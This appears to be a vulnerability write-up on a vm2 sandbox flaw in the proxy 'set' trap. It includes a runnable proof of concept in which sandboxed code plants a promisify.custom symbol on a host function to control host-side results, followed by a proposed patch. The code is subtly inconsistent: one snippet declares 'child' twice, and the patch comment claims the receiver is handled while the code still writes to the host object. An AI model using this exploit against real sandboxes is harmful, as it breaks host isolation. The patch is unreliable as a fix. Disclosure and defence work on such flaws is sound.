vm2 CVE-2026-47209

// bridge.js:1231-1260
set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    // ...
    try {
        value = otherFromThis(value);
        return otherReflectSet(object, key, value) === true;
        // BUG: 'receiver' is never used.
        // Should check if receiver !== proxy and handle accordingly.
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}

// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side

const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
    return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'

const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);

vm.run(`
  const kCustom = Symbol.for('nodejs.util.promisify.custom');
  const child = Object.create(hostFn);
  child[kCustom] = function() {
    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
  };
`);

// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG

set(target, key, value, receiver) {
    validateHandlerTarget(this, target);
    const object = getHandlerObject(this);
    if (isProtectedHostObject(object)) throw new VMError(OPNA);
    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
    if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
        return this.setPrototypeOf(target, value);
    }
    if (key === 'constructor' && thisArrayIsArray(object)) {
        thisReflectSet(target, key, value);
        return true;
    }
    try {
        value = otherFromThis(value);
        // When receiver is not the proxy itself, set on receiver (this-realm)
        // instead of the host target to preserve prototype-chain semantics.
        return otherReflectSet(object, key, value) === true;
    } catch (e) {
        throw thisFromOtherForThrow(e);
    }
}